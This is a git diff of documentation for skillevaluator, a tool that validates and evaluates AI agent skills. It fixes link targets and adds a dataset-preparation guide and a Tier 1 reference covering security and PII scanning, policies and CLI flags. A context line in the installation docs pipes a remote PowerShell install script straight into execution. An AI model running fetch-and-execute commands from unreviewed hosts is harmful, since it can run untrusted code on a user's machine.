or a dangling symlink still runs the manifest checks, and fails them. A mis-cased manifest below the target is not discovered; validate that folder directly. Pass `--type` to validate the target as a given type anyway. See [Content types](/skills/skillevaluator/tier1-reference#content-types). `validate` also takes the standard `-r/--report` and `-o/--output-dir` options described under [Global conventions](#global-conventions). @@ -304,10 +304,10 @@ Static checks; LLM-free by default. Tier 1 gates the exit code and always runs. | `-c, --continue-on-failure` | off | Run the full pipeline without stopping early; record all issues in the reports. Overrides `--fail-fast`, and for folder validation keeps scanning every skill past a CRITICAL finding. | | `--llm, --tier1-llm / --no-llm, --no-tier1-llm` | `no-llm` | Enable LLM-backed security analysis (requires a configured public provider — see [Providers & Credentials](/skills/skillevaluator/configuration)). | | `--llm-verify` | off | Run a second LLM pass to suppress false-positive findings. | -| `--skillspector-baseline FILE` | unset | Audited SkillSpector suppression baseline for the `security` check; never discovered from the skill. See [Audited SkillSpector baselines](/skills/skillevaluator/tier1-validation#audited-skillspector-baselines). | +| `--skillspector-baseline FILE` | unset | Audited SkillSpector suppression baseline for the `security` check; never discovered from the skill. See [Audited SkillSpector baselines](/skills/skillevaluator/tier1-reference#audited-skillspector-baselines). | | `--min-score INTEGER` | `70` | Minimum quality score (0–100) required per skill when the `quality` check runs; policy severity overrides cannot waive this gate. | -| `--quality-config PATH` | packaged `quality-default.yaml` | YAML file that adjusts the quality check's expected headings and error-handling rules; settings it omits keep their packaged values. See [Tier 1: Validation](/skills/skillevaluator/tier1-validation#the-checks). | -| `--pii-waivers PATH` | none | Reviewed, expiring PII waivers applied by the `pii` check; forwarded to each skill of a catalog run. See [PII waivers](/skills/skillevaluator/tier1-validation#pii-waivers). | +| `--quality-config PATH` | packaged `quality-default.yaml` | YAML file that adjusts the quality check's expected headings and error-handling rules; settings it omits keep their packaged values. See [Tier 1: Validation](/skills/skillevaluator/tier1-reference#the-checks). | +| `--pii-waivers PATH` | none | Reviewed, expiring PII waivers applied by the `pii` check; forwarded to each skill of a catalog run. See [PII waivers](/skills/skillevaluator/tier1-reference#pii-waivers). | ### Tier 2 · Deduplication @@ -342,7 +342,7 @@ The following flags are forwarded to the live-eval engine when Tier 3 is enabled | `--max-judge-calls INTEGER` | unset | Maximum recorded non-salvage judge attempts; excludes transport retries and RAGAS-internal requests. | | `--max-attempts-total INTEGER` | unset | Maximum logical Harbor attempts admitted across agents and arms, including private comparison arms. | | `--max-cost-usd FLOAT` | unset | Agent inference accounting admission limit, not billed spend or a hard currency ceiling; requires a price book. Judge, setup, container, backend, and infrastructure charges are excluded. | -| `--price-file FILE` | unset | User-supplied agent inference rates, not billed spend; keyed by exact resolved model identifier. File name/hash and applied rates are retained in `budget.pricing`; see [cost limits](/skills/skillevaluator/tier3-run-options#cost-limits). | +| `--price-file FILE` | unset | User-supplied agent inference rates, not billed spend; keyed by exact resolved model identifier. File name/hash and applied rates are retained in `budget.pricing`; see [cost limits](/skills/skillevaluator/tier3-run-reference#cost-limits). | | `--stop-on-pass / --no-stop-on-pass` | unset | Stop a case's remaining attempts once one passes. | | `--model TEXT` | unset | Global agent model override. | | `--agent-model TEXT` | unset | Per-agent model override, `AGENT=MODEL` (repeatable). | @@ -353,7 +353,7 @@ The following flags are forwarded to the live-eval engine when Tier 3 is enabled | `--timeout-multiplier FLOAT` | unset | Scale Harbor's agent, verifier, and environment-build timeouts (built-in default `1.0`). Must be a finite number greater than 0. | | `--harbor-keep-jobs` | off | Retain Harbor job dirs and artifacts after the run for inspection. | | `--agent-runtime-preflight / --no-agent-runtime-preflight` | disabled | Opt into an extra agent-only execution of the first staged task before the measured A/B matrix. The CLI value overrides `harbor.agent_runtime_preflight`; without either, no extra agent runs. | -| `--tolerate-baseline-timeouts / --no-tolerate-baseline-timeouts` | disabled | Keep an agent scored on its clean with-skill arm when only baseline attempts hit the agent execution timeout; its baseline and Skill Lift are not reported, and the run is not complete publication evidence. The CLI value overrides `harbor.tolerate_baseline_timeouts`. See [Baseline timeouts](/skills/skillevaluator/tier3-run-options#baseline-timeouts). | +| `--tolerate-baseline-timeouts / --no-tolerate-baseline-timeouts` | disabled | Keep an agent scored on its clean with-skill arm when only baseline attempts hit the agent execution timeout; its baseline and Skill Lift are not reported, and the run is not complete publication evidence. The CLI value overrides `harbor.tolerate_baseline_timeouts`. See [Baseline timeouts](/skills/skillevaluator/tier3-run-reference#baseline-timeouts). | Flags marked "unset" fall back to their matching keys in `evals/config.yml` where one exists, then to the built-in defaults ([Eval Datasets](/skills/skillevaluator/eval-datasets) documents the config keys and precedence). The exception is `--results-dir`, which resolves independently of `evals/config.yml` (see [Reports & Results](/skills/skillevaluator/reports)). @@ -411,7 +411,7 @@ skillevaluator security-scan ./my-skill | --- | --- | --- | | `--llm / --no-llm` | `no-llm` | Enable LLM security analysis. | | `--llm-verify` | off | Use LLM verification to reduce false positives. | -| `--skillspector-baseline FILE` | unset | Audited SkillSpector suppression baseline; never discovered from the skill. See [Audited SkillSpector baselines](/skills/skillevaluator/tier1-validation#audited-skillspector-baselines). | +| `--skillspector-baseline FILE` | unset | Audited SkillSpector suppression baseline; never discovered from the skill. See [Audited SkillSpector baselines](/skills/skillevaluator/tier1-reference#audited-skillspector-baselines). | Plus the standard report options. @@ -426,7 +426,7 @@ skillevaluator pii-scan ./my-skill | Flag | Default | Effect | | --- | --- | --- | | `--llm-verify` | off | Use LLM verification to reduce false positives. | -| `--pii-waivers PATH` | none | Apply reviewed, expiring PII waivers from this YAML file. See [PII waivers](/skills/skillevaluator/tier1-validation#pii-waivers). | +| `--pii-waivers PATH` | none | Apply reviewed, expiring PII waivers from this YAML file. See [PII waivers](/skills/skillevaluator/tier1-reference#pii-waivers). | Plus the standard report options. @@ -633,7 +633,7 @@ Use `skillevaluator tier3 PATH` for the complete workflow with automatic missing | `--max-judge-calls INTEGER` | unset | Maximum recorded non-salvage judge attempts; excludes transport retries and RAGAS-internal requests. | | `--max-attempts-total INTEGER` | unset | Maximum logical Harbor attempts admitted across agents and arms, including private comparison arms. | | `--max-cost-usd FLOAT` | unset | Agent inference accounting admission limit, not billed spend or a hard currency ceiling; requires a price book. Judge, setup, container, backend, and infrastructure charges are excluded. | -| `--price-file FILE` | unset | User-supplied agent inference rates, not billed spend; keyed by exact resolved model identifier. File name/hash and applied rates are retained in `budget.pricing`; see [cost limits](/skills/skillevaluator/tier3-run-options#cost-limits). | +| `--price-file FILE` | unset | User-supplied agent inference rates, not billed spend; keyed by exact resolved model identifier. File name/hash and applied rates are retained in `budget.pricing`; see [cost limits](/skills/skillevaluator/tier3-run-reference#cost-limits). | | `--stop-on-pass / --no-stop-on-pass` | unset | Stop a case's remaining attempts once one passes. | | `--n-concurrent INTEGER` | unset | Concurrent eval cases per agent. | | `--max-agents INTEGER` | unset | Maximum agents to run in parallel. | @@ -649,7 +649,7 @@ Use `skillevaluator tier3 PATH` for the complete workflow with automatic missing | `--harbor-keep-jobs` | off | Retain Harbor job dirs and artifacts for inspection with [harbor-view](#harbor-view). | | `--verbose` | off | Also print the per-evaluator and per-dimension tables and the metric findings after the case summary. | | `--agent-runtime-preflight / --no-agent-runtime-preflight` | disabled | Opt into an extra agent-only execution of the first staged task before the full A/B evaluation matrix. | -| `--tolerate-baseline-timeouts / --no-tolerate-baseline-timeouts` | disabled | Keep an agent scored on its clean with-skill arm when only baseline attempts hit the agent execution timeout; its baseline and Skill Lift are not reported. The CLI value overrides `harbor.tolerate_baseline_timeouts`. See [Baseline timeouts](/skills/skillevaluator/tier3-run-options#baseline-timeouts). | +| `--tolerate-baseline-timeouts / --no-tolerate-baseline-timeouts` | disabled | Keep an agent scored on its clean with-skill arm when only baseline attempts hit the agent execution timeout; its baseline and Skill Lift are not reported. The CLI value overrides `harbor.tolerate_baseline_timeouts`. See [Baseline timeouts](/skills/skillevaluator/tier3-run-reference#baseline-timeouts). | | `--timeout-multiplier FLOAT` | unset | Scale Harbor's agent, verifier, and environment-build timeouts (built-in default `1.0`). Must be a finite number greater than 0. | | `--override-cpus INTEGER` | unset | Override eval-environment CPU allocation (passed through to Harbor). | | `--override-memory-mb INTEGER` | unset | Override eval-environment memory in MB (passed through to Harbor). | diff --git a/docs/eval-datasets.mdx b/docs/eval-datasets.mdx index af168dedc..3c09c991d 100644 --- a/docs/eval-datasets.mdx +++ b/docs/eval-datasets.mdx @@ -3,6 +3,9 @@ title: "Eval Datasets" description: "Author the evals/ directory that powers Tier 3 — the dataset format, generation with create-eval-dataset, the config.yml run policy, fixtures, and custom container environments." --- +New to datasets? Follow [Prepare a Tier 3 Dataset](/skills/skillevaluator/prepare-dataset) +for the short creation and review workflow. This page is the detailed format reference. + Everything a live evaluation runs on lives in one directory: `evals/` inside your skill. This page is the contract for that directory — what goes in it, the dataset format `tier3 evaluate` reads, and how to generate and refine @@ -565,10 +568,10 @@ grading: | `harbor.max_judge_calls` | integer ≥ 0 | Maximum recorded non-salvage judge attempts; excludes transport retries and RAGAS-internal requests. | | `harbor.max_attempts_total` | integer ≥ 0 | Maximum logical Harbor attempts admitted across agents and arms, including private comparison arms. | | `harbor.max_cost_usd` | finite number ≥ 0 | Agent inference accounting admission limit, not a hard currency ceiling or billed spend; requires `harbor.price_file`. Judge, setup, container, backend, and infrastructure charges are excluded. | -| `harbor.price_file` | path | User-supplied JSON rates per million tokens, keyed by exact resolved model identifier, not verified billing prices. Relative paths resolve from the source skill directory. Each model requires `input_per_mtok` and `output_per_mtok`; optional `cached_input_per_mtok` defaults to the input rate. File name/hash and actually applied rates are retained in `budget.pricing`; see [cost limits](/skills/skillevaluator/tier3-run-options#cost-limits). | +| `harbor.price_file` | path | User-supplied JSON rates per million tokens, keyed by exact resolved model identifier, not verified billing prices. Relative paths resolve from the source skill directory. Each model requires `input_per_mtok` and `output_per_mtok`; optional `cached_input_per_mtok` defaults to the input rate. File name/hash and actually applied rates are retained in `budget.pricing`; see [cost limits](/skills/skillevaluator/tier3-run-reference#cost-limits). | | `harbor.timeout_multiplier` | finite number > 0 | Scales task timeouts. Values that would overflow Harbor's mandatory lifecycle timeouts are rejected before execution. | | `harbor.agent_runtime_preflight` | boolean | Opt-in extra agent-only execution of the first staged task before the measured evaluation. Default: `false`; the CLI flag overrides this value. | -| `harbor.tolerate_baseline_timeouts` | boolean | Keep an agent scored on its with-skill arm when only baseline attempts hit the agent execution timeout; its baseline and Skill Lift are not reported (see [Baseline timeouts](/skills/skillevaluator/tier3-run-options#baseline-timeouts)). Default: `false`; the CLI flag overrides this value. | +| `harbor.tolerate_baseline_timeouts` | boolean | Keep an agent scored on its with-skill arm when only baseline attempts hit the agent execution timeout; its baseline and Skill Lift are not reported (see [Baseline timeouts](/skills/skillevaluator/tier3-run-reference#baseline-timeouts)). Default: `false`; the CLI flag overrides this value. | | `harbor.agent_workdir` | string | Working directory for the agent inside the container. | | `harbor.resources` | `cpus`, `memory_mb`, `storage_mb` | Per-container resource requests. | | `harbor.runtime_env` | list or mapping | Non-credential task values passed into the container. Prefer a list of plain names — each expands to `${NAME}` from your shell; a mapping sets explicit templates. Entries that name or reference operator-owned credentials (`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, `NVIDIA_API_KEY`, base-URL variables, AWS credential variables) fail with a hard error. Alias: `passthrough_env`. | diff --git a/docs/github-actions.mdx b/docs/github-actions.mdx index 8785c690d..c86db9436 100644 --- a/docs/github-actions.mdx +++ b/docs/github-actions.mdx @@ -112,7 +112,7 @@ required security or schema check. The `metadata.author` attribution is accepted. Extra copies in contact fields, body text, or reference documents are checked separately. Keep the author field and use a handle or contact-directory link for extra contact - information. See [author attribution and approved exceptions](/skills/skillevaluator/tier1-validation#author-attribution-and-contact-emails). + information. See [author attribution and approved exceptions](/skills/skillevaluator/tier1-reference#author-attribution-and-contact-emails). This requires a workflow and image version that include baseline support; diff --git a/docs/gitlab-ci.mdx b/docs/gitlab-ci.mdx index 9c1c2d8cf..050219ba2 100644 --- a/docs/gitlab-ci.mdx +++ b/docs/gitlab-ci.mdx @@ -127,7 +127,7 @@ Skill result: "skills/glossary-builder" — FAILED Keep the `metadata.author` attribution. Extra email copies in contact fields or documents are checked separately; use a handle or a - contact-directory link instead. See [author attribution](/skills/skillevaluator/tier1-validation#author-attribution-and-contact-emails). + contact-directory link instead. See [author attribution](/skills/skillevaluator/tier1-reference#author-attribution-and-contact-emails). For reviewed SkillSpector exceptions, set `SKILL_EVAL_SECURITY_BASELINES: "true"` and add diff --git a/docs/harness-check.mdx b/docs/harness-check.mdx index 5017e1542..4ff5cabc7 100644 --- a/docs/harness-check.mdx +++ b/docs/harness-check.mdx @@ -292,7 +292,7 @@ The rules cover everything between your folder and the model's context. | Plugins | Which plugin formats each harness accepts, how plugin skills are named, and components a harness registers but doesn't deliver. | The full rule list, harness by harness, is in -[Tier 1: Validation](/skills/skillevaluator/tier1-validation#the-checks) under **harness**. +[Tier 1: Validation](/skills/skillevaluator/tier1-reference#the-checks) under **harness**. ## Supported harnesses @@ -388,7 +388,7 @@ with the description as that harness lists it. No. Its findings are MEDIUM for `not_loaded`, LOW for `degraded` and INFO for a note. All three sit below the default gate, so the check never fails a run - unless a [policy](/skills/skillevaluator/tier1-validation#validation-profiles-and-policies) + unless a [policy](/skills/skillevaluator/tier1-reference#validation-profiles-and-policies) raises those severities. `harness-check` exits `0` whatever it finds. diff --git a/docs/installation.mdx b/docs/installation.mdx index 03c8d0f42..a878681ec 100644 --- a/docs/installation.mdx +++ b/docs/installation.mdx @@ -125,6 +125,22 @@ powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | ie
+ + `pip install skillevaluator` or `uv tool install skillevaluator` installs + the lightweight CLI for quality scoring and basic static checks. + + On PyPI 0.9.0, the base install does not include model clients for rubric + reviews or Tier 2, the Tier 3 agent runtime, Bandit, or pip-audit. Full static + validation can report **INCOMPLETE** until scanner requirements are met. + `[all]` includes the `tier2`, `tier3`, and `security` extras; provider keys, + Docker, and the optional dashboard still have separate setup. + + Add all evaluation dependencies later using the + [upgrade commands](/skills/skillevaluator/installation-options#upgrade), or + choose [individual extras](/skills/skillevaluator/installation-options#choosing-extras). + Harness Check still requires the GitHub source installation. + + ## Verify your install ```bash title="Check the CLI" @@ -144,7 +160,7 @@ command is not found. | [Tier 1: Validation](/skills/skillevaluator/tier1-validation) | A skill folder. Static checks need no API key. | | [Tier 1: Harness Check](/skills/skillevaluator/harness-check) | GitHub source installation and a skill folder. No API key or agent run. | | [Tier 2: Deduplication](/skills/skillevaluator/tier2-deduplication) | A provider for embeddings and model analysis. | -| [Tier 3: Live Agent Evaluation](/skills/skillevaluator/tier3-live-evaluation) | A model API key and Docker. | +| [Tier 3: Live Agent Evaluation](/skills/skillevaluator/tier3-live-evaluation) | A [reviewed dataset](/skills/skillevaluator/prepare-dataset), a model API key, and Docker. | Need an example skill? Start with the [quickstart](/skills/skillevaluator/quickstart). diff --git a/docs/prepare-dataset.mdx b/docs/prepare-dataset.mdx new file mode 100644 index 000000000..d136592b3 --- /dev/null +++ b/docs/prepare-dataset.mdx @@ -0,0 +1,116 @@ +--- +title: "Prepare a Tier 3 Dataset" +description: "Write task guidance, generate or bring cases, and review the dataset before running a live agent." +--- + +Prepare the requests and expected outcomes **before running an agent**. +Both the with-skill and without-skill arms receive the same cases. +Already have `evals/evals.json`? Go straight to [review and validate](#review-and-validate). + +You need an [installed CLI](/skills/skillevaluator/installation#install) and a +skill folder containing `SKILL.md`. [Configure a provider](/skills/skillevaluator/configuration) +for model-backed generation, or use the keyless option below. Docker is needed +for the later agent run, not for dataset creation. + + + +### Write task guidance + +Create `eval-guidance.md` in your working directory. Describe realistic requests, +observable successful outcomes, and a request outside the skill's scope. +Adapt this text-analysis example to your skill: + +```markdown title="eval-guidance.md" +# Evaluation guidance for text-analyzer + +## Questions +- Report the word count, character count, and most frequent word in "Red blue blue.". +- How many words and characters are in "Red blue blue.", and which word occurs most often? +- I am checking a short message: "Red blue blue.". Report its word count, character count, and most frequent word. + +## Behaviors +- The response reports 3 words and 14 characters for "Red blue blue.". +- The response identifies "blue" as the most frequent word with 2 occurrences. + +## Negative Cases +- What is 2 + 2? + +## Notes +- All task input is inline; no external files are needed. +- Judge the reported results, regardless of how they were obtained. +``` + +Use outcomes that either arm can achieve. Requiring the agent to read the +skill's files or use its script makes the no-skill baseline unfair. +[More authoring examples and guidance sources](/skills/skillevaluator/eval-datasets#choose-a-grounding-source). + +### Generate the cases + +Replace `./my-skill` with your skill folder: + +```bash title="Generate a dataset for review" +skillevaluator create-eval-dataset ./my-skill --full --prompt eval-guidance.md +``` + +Open the generated `./my-skill/evals/evals.json`. Model-backed generation uses +your configured evaluator provider and can incur charges. It creates cases +across explicit, implicit, contextual, and negative categories. + + + +```bash +skillevaluator create-eval-dataset ./my-skill --full --no-llm --prompt eval-guidance.md +``` + + This produces local template cases, not model-written tasks. With the + example guidance above, it creates three positive cases and one negative. + Without an authored negative request, template mode does not invent one. + Replace generic prompts and expected outcomes during review. + + + + The generation command keeps an existing dataset by default. Review it + directly, or use the [regeneration and refinement options](/skills/skillevaluator/eval-datasets) + when you intend to change it. `--force` replaces the existing dataset; + `--refine` refines it. Do not regenerate merely to run existing cases. + + +### Review and validate + +Open `./my-skill/evals/evals.json` and review every case: + +| Check | Ready when | +| --- | --- | +| Request (`prompt`) | It is a realistic task with enough input to complete it. | +| Expected outcome | It states observable success, not that the agent used the skill. For the example, use the exact counts for positive cases and `4` for the math case. | +| Inputs (`files`, when needed) | The declared fixtures exist and are available to both arms. Inline-only cases need no fixture files. | +| Coverage | Cases cover the skill's intended uses and an appropriate off-scope request. | + +Confirm that the file exists and contains your reviewed cases, then run: + +```bash title="Validate the reviewed dataset" +skillevaluator tier3 validate ./my-skill --strict +``` + +If the entire `evals/` directory is absent, the validator can report it as +missing with exit code `0`. Treat that as **not ready**. + +Fix errors and warnings before starting a live run. Validation checks structure +and flagged wording; **it does not confirm that a human reviewed the cases or +that the dataset is representative**. A small starter is useful for checking +the workflow, and produces limited evidence about skill performance. + + + + + + Check your provider and Docker, then compare the agent with and without the skill. + + + Select an agent and attempt count before spending compute. + + + +Need the exact JSON fields, fixture layout, run policy, or sufficiency rules? +Open the [dataset format reference](/skills/skillevaluator/eval-datasets). +For native Harbor task bundles, use [Custom Graders & Tasks](/skills/skillevaluator/custom-graders). diff --git a/docs/reports.mdx b/docs/reports.mdx index 5c4864eba..825a95955 100644 --- a/docs/reports.mdx +++ b/docs/reports.mdx @@ -776,7 +776,7 @@ completed run directly: `agents..baseline_timeout_tolerance`, a refused agent's `agents..baseline_timeout_tolerance_rejection` code, and the run-level `baseline_timeout_tolerance` (tolerated agents and the launch errors they - explain). See [Baseline timeouts](/skills/skillevaluator/tier3-run-options#baseline-timeouts). + explain). See [Baseline timeouts](/skills/skillevaluator/tier3-run-reference#baseline-timeouts). Read commands (`view`, `compare`, `create-eval-dataset --refine`) honor the @@ -1204,7 +1204,7 @@ a stale `run_config.json` snapshot. Execution status and exit codes are unchange An arm that ran but failed, for example because one baseline attempt hit the agent timeout, fails the agent and the run unless `--tolerate-baseline-timeouts` -keeps the agent scored (see [Baseline timeouts](/skills/skillevaluator/tier3-run-options#baseline-timeouts)), +keeps the agent scored (see [Baseline timeouts](/skills/skillevaluator/tier3-run-reference#baseline-timeouts)), and the other arm keeps its scores. Reports describe such an arm by how many of its attempts scored, never as not run. In `BENCHMARK.md`, the agent's Overall and dimension cells read `90.0% — baseline incomplete (1 of 2 attempts scored); uplift unavailable`, or @@ -1268,7 +1268,7 @@ Baseline reuse checks configuration and evidence compatibility but deliberately excludes concurrency and budget from its identity. Reused baseline measurements remain historical observations from the source run, not fresh consumption or independent evidence in the current run. Reports retain the source and timestamp; -see [Reuse a baseline](/skills/skillevaluator/tier3-run-options#reuse-a-baseline). +see [Reuse a baseline](/skills/skillevaluator/tier3-run-reference#reuse-a-baseline). | Measurement | Meaning | | --- | --- | diff --git a/docs/tier1-reference.mdx b/docs/tier1-reference.mdx new file mode 100644 index 000000000..04e1f02a9 --- /dev/null +++ b/docs/tier1-reference.mdx @@ -0,0 +1,1027 @@ +--- +title: "Tier 1 Reference" +sidebar-title: "Tier 1 Reference" +description: "Validation rules, profiles, scanner contracts, reports, and troubleshooting for Tier 1." +--- + +For your first check, follow [Tier 1: Validation](/skills/skillevaluator/tier1-validation). +This reference keeps the detailed rules and advanced workflows in one place. + + +Run Tier 1 directly to check a skill's structure, security, quality, and +dependencies. First, [install SkillEvaluator](/skills/skillevaluator/installation#install) with the all-tier option, +then run: + +```bash title="Run Tier 1" +skillevaluator tier1 ./my-skill +``` + +Static checks need no model key. With a configured provider, this command also +runs rubric judging, LLM security analysis, and finding verification. Without a +provider, those LLM stages are explicitly reported as skipped. Use `--no-llm` +for static checks only, or `--llm` to require a provider instead of allowing a +keyless run. See [scanner setup](/skills/skillevaluator/installation-options#system-tools) +for first-run downloads and optional tools; PyPI 0.9.0 installed with pip also +needs uv for automatic SkillSpector setup. + +The two-variable [provider setup](/skills/skillevaluator/configuration) is enough to configure the +LLM stages for NVIDIA Build or OpenAI. Calling `skillevaluator tier1` without a +path shows help; expert subcommands remain available below. + +## Tier 1 in automatic CI + +The [all-tier CI setup](/skills/skillevaluator/advanced-ci) keeps Tier 1 +as a required gate. GitHub calls the hardened legacy scanner workflow at the +same evaluator commit; GitLab runs the same digest-pinned scanner image. +Static CI checks receive no model key. Tier 2 and Tier 3 execute independently +and retain their own native evidence, so one tier's failure does not erase the +other reports. Changes to onboarding configuration trigger a full keyless +Tier 1 scan so the setup review exercises actual skills. With `scan-mode: auto`, +the provider-backed LLM Tier 1 pass, Tier 2 and Tier 3 run on a pull request only +when it changes a skill. Eligible pushes and manual runs on the default branch +run them for the whole collection. + +Existing released Tier 1-only consumers keep their current workflow and +bundled image pins. See [GitHub Actions](/skills/skillevaluator/github-actions) or +[GitLab CI/CD](/skills/skillevaluator/gitlab-ci) to choose either path. + +## What Tier 1 checks + +The direct `tier1 PATH` workflow runs Tier 1 only, as does +`tier1 validate PATH`. The focused checks below are also available as +`skillevaluator tier1 `. Top-level `validate` is the combined pipeline. + +| Command | Purpose | Needs a key? | +| --- | --- | --- | +| Top-level `validate` | Run the selected Tier 1 checks, Tier 2 deduplication, and Tier 3 autopilot for skills | Yes for the full pipeline; `--tiers 1` selects keyless static checks | +| `quality-check` | Score skill quality across four weighted categories | No | +| `rubric-eval` | Run the nine-criterion LLM-as-judge rubric | Yes | +| `security-scan` | Run SkillSpector static scanning and optional LLM analysis | No (only with `--llm`/`--llm-verify`) | +| `pii-scan` | Detect PII, credentials, secrets, and local identifiers | No (only with `--llm-verify`) | +| `lint-scripts` | Run advisory AST-based checks on Python scripts | No | + +`validate` is the umbrella command: all three tiers run by default for skills, with autopilot creating one starter evaluation case if no source exists. Tier 1 checks always gate the exit code (non-zero on failure or incomplete required scanner evidence), Tier 2 dedup runs and gates by default, and Tier 3 is advisory by default. Use `--tiers 1` for static checks only, `--no-block-on-dedup` to keep Tier 2 advisory, or `--block-on-agent-eval` to promote Tier 3 into the gate. + +## Run the combined or focused validation commands + +Unlike direct `tier1 PATH`, `validate` includes Tier 2 and Tier 3 by default +for skills. Its Tier 1 LLM checks still run only when requested. + + + ### Run the default suite + + ```bash title="All three tiers, provider and runtime required" + skillevaluator validate ./my-skill + ``` + + By default you get a compact pipeline view in the terminal — a per-check ticker per tier — and the run writes HTML and JSON report files unless you pass `-r` explicitly, which is then honored exactly (including `-r cli` for terminal-only output). Add `--verbose` for the full per-check detail stream instead of the compact view. The full pipeline needs the [provider and runtime setup](/skills/skillevaluator/tier3-live-evaluation#before-you-start); use `--tiers 1` for static checks only. The exit code is `0` when every gate passes and `1` when one fails. + + ### Run static checks only + + Select only Tier 1 to run the static checks without model calls: + + ```bash title="Static Tier 1" + skillevaluator validate ./my-skill --tiers 1 + ``` + + Tier 1 can download required scanners on first use. For an offline environment, + prepare them using [Installation: System tools](/skills/skillevaluator/installation-options#system-tools). + Run `skillevaluator doctor --tier 1` to check the scanners' paths and supported versions. + + ### Narrow to specific checks + + `--checks` (alias `--tier1-checks`) takes a comma-separated subset when you want fast, targeted feedback: + + ```bash title="Selective checks" + skillevaluator validate ./my-skill --tiers 1 --checks schema,security + ``` + + Only the selected Tier 1 checks run; the others are skipped entirely. + + ### Add LLM analysis (optional) + + With a provider configured, `--llm` (alias `--tier1-llm`; disable with `--no-llm` or `--no-tier1-llm`) adds LLM security analysis on top of the static findings, and `--llm-verify` runs a second pass that reviews each static finding in context: + + ```bash title="LLM-backed validation" + skillevaluator validate ./my-skill --tiers 1 --llm --llm-verify + ``` + + Confirmed findings keep their original severity. High-confidence false positives stay visible but are downgraded to INFO and carry verification metadata explaining the review. Each finding that gets a verdict names the provider and model that gave it as `llm_provider` and `llm_model_used` in its JSON metadata. For a Claude 5.5 or later model on the native Claude API, the model is the one the reply names; otherwise it is the configured model, unless a server-side `fallback` block in the reply names another model. Verdicts kept from a reply cut off at the output-token limit name the model that wrote that reply. Static scanning always runs first — if a requested LLM stage is unavailable or returns unusable evidence, the run does not silently turn green. `security-scan` and `pii-scan` accept `--llm-verify` too. + + HTML, Markdown, and terminal reports show the recorded verification verdict, confidence, and reasoning beside each finding, together with its reported severity. + + +Direct `tier1 PATH` and `tier1 validate PATH` print the terminal report and +write JSON and HTML reports by default. Use `-r cli` for terminal-only output. + +Reports for any of these runs are selected with `-r`/`--report` (`cli`, `json`, `html`, `markdown`, `sarif`) and written to `-o`/`--output-dir` (default `reports/`). The `junit` format also requires the [GitHub source installation](/skills/skillevaluator/installation#install); it is not in PyPI 0.9.0. File naming, `BENCHMARK.md`, and the JSON contract are covered in [Reports & Results](/skills/skillevaluator/reports). + +## Content types + +`validate` auto-detects what you point it at. Use `--type` when the path is ambiguous: + +| Type | `--type` value | Auto-detection signal | +| --- | --- | --- | +| Skill | `skill` | `SKILL.md` in `skills/` or `team-skills/` | +| Rules | `rules` | `.mdc` files in `team-rules/` | +| Workflows | `workflows` | `workflow-rules.mdc` in a workflow directory | +| Plugin | `plugin` | A bundle-reference `agent_plugin.yaml`/`.yml` manifest, or a contained `.claude-plugin/plugin.json` manifest | + +Plugins are validated against their public contract; the `quality`, `lint`, and `version` checks are skill-only and are skipped for plugins, rules, and workflows. + +When `--type auto` finds none of these signals, for example in an ordinary source repository, the target's type is `unknown`. There is no manifest to check, so Tier 1: + +- Records `schema`, `version`, and `quality` as not applicable instead of failing them with `No skills found`. The terminal summary and the HTML report count them as N/A. The JSON and Markdown reports list them as skipped, with a skip reason that starts with `not applicable`. No report counts them as passes. +- Still runs the content scans (`security`, `pii`, `license`, `code-integrity`, `unicode`, `lint`, and `dependency` when selected), so a real secret or card number still fails the run. The security scan keeps its unrestricted scope. +- Passes when those scans pass. A misspelled `--checks` name still fails. Tier 2 deduplication still runs on the target unless you pass `--no-dedup` or `--tiers 1`, and can still fail the run. +- Adds a root `tier1_applicability` object to the JSON report, whichever checks `--checks` and `--skip` select: `applicability` (`not_applicable`), `reason_code` (`unsupported_content_type`), `detected_content_type` (`unknown`), and `supported_content_types`. +- Is never eligible for publication, because a not-applicable check is not evidence. + +Auto-detection also reads the directory names in the target's absolute path. A repository whose path includes a directory named `skills`, `team-skills`, `team-rules`, `workflows`, or `team-workflows`, such as a CI checkout at `/home/runner/work/skills/skills`, is detected as that type, not as `unknown`, and Tier 1 validates it as that type, as before. `--type` forces a type but cannot select `unknown`. + +A target folder that itself holds a manifest entry in any letter case (`SKILL.md`, `workflow-rules.mdc`, `agent_plugin.yaml`, `agent_plugin.yml`, or `.claude-plugin/plugin.json`), such as `Skill.md`, or a manifest symlink whose target is missing, is a broken artifact rather than a folder without one, so its manifest checks still run and fail. A `.claude-plugin` folder without a `plugin.json`, such as a marketplace's, does not count. This applies only to the target's own entries: a mis-cased manifest below the target is not discovered; validate that folder directly. Pass `--type skill` (or another type) to validate any target as that type; a missing `SKILL.md` then fails as before. A folder that holds skills below it, such as `.claude/skills//SKILL.md` or `.agents/skills//SKILL.md`, is still validated as a collection of skills. + +For collections, pass a folder containing skills under `skills/` or `team-skills/`. Folder-level validation discovers each live `SKILL.md` below the target while excluding configured names such as `evals`, `results`, `versions`, `.git`, `.venv`, `node_modules`, and `__pycache__`. + +```bash title="Validate a skill or a collection" +skillevaluator validate ./skills/my-skill --type skill +skillevaluator validate ./skills --type skill --continue-on-failure +``` + +## Validation profiles and policies + +Two policies are bundled. Both report malformed or unsafe author values and +blocked licenses (CRITICAL); they differ in which governance metadata a skill must carry. + +| | `default` | `registry` | +| --- | --- | --- | +| Use it for | Public and private repositories | Registries with a documented publication contract | +| `metadata.author` missing | LOW (advisory) | HIGH (blocks) | +| Author is a name without an email, such as `NVIDIA cuOpt Team` | INFO | HIGH | +| Author is malformed or unsafe | HIGH | HIGH | +| `metadata.id` missing | Not reported | HIGH | +| `metadata.id` invalid, or duplicated in a collection | MEDIUM (advisory) | HIGH | + +The Agent Skills baseline requires only `name` and `description`, so the +`default` policy treats author attribution and a stable ID as recommendations. +Neither policy restricts the author email domain. A policy controls validation +rules, not repository visibility or report hosting. The old `external` name and +`--external` flag remain compatibility aliases for `default`; there is no +separate bundled `internal` policy. + +```bash title="Profile selection" +skillevaluator validate ./my-skill # default policy +skillevaluator validate ./my-skill --profile default # explicit default policy +skillevaluator validate ./my-skill --profile registry # registry publication contract +skillevaluator validate ./my-skill --external # compatibility alias for default +skillevaluator validate ./my-skill --policy ./policy.yaml # custom overlay on default +SKILLEVALUATOR_PROFILE=registry skillevaluator validate ./my-skill +``` + +Precedence, highest to lowest: `--policy` overlay, `--profile` flag, `SKILLEVALUATOR_PROFILE` environment variable, then the bundled `default` policy. + + + A custom policy overlays the `--profile` rules (`default` unless you choose + another). It can narrow the 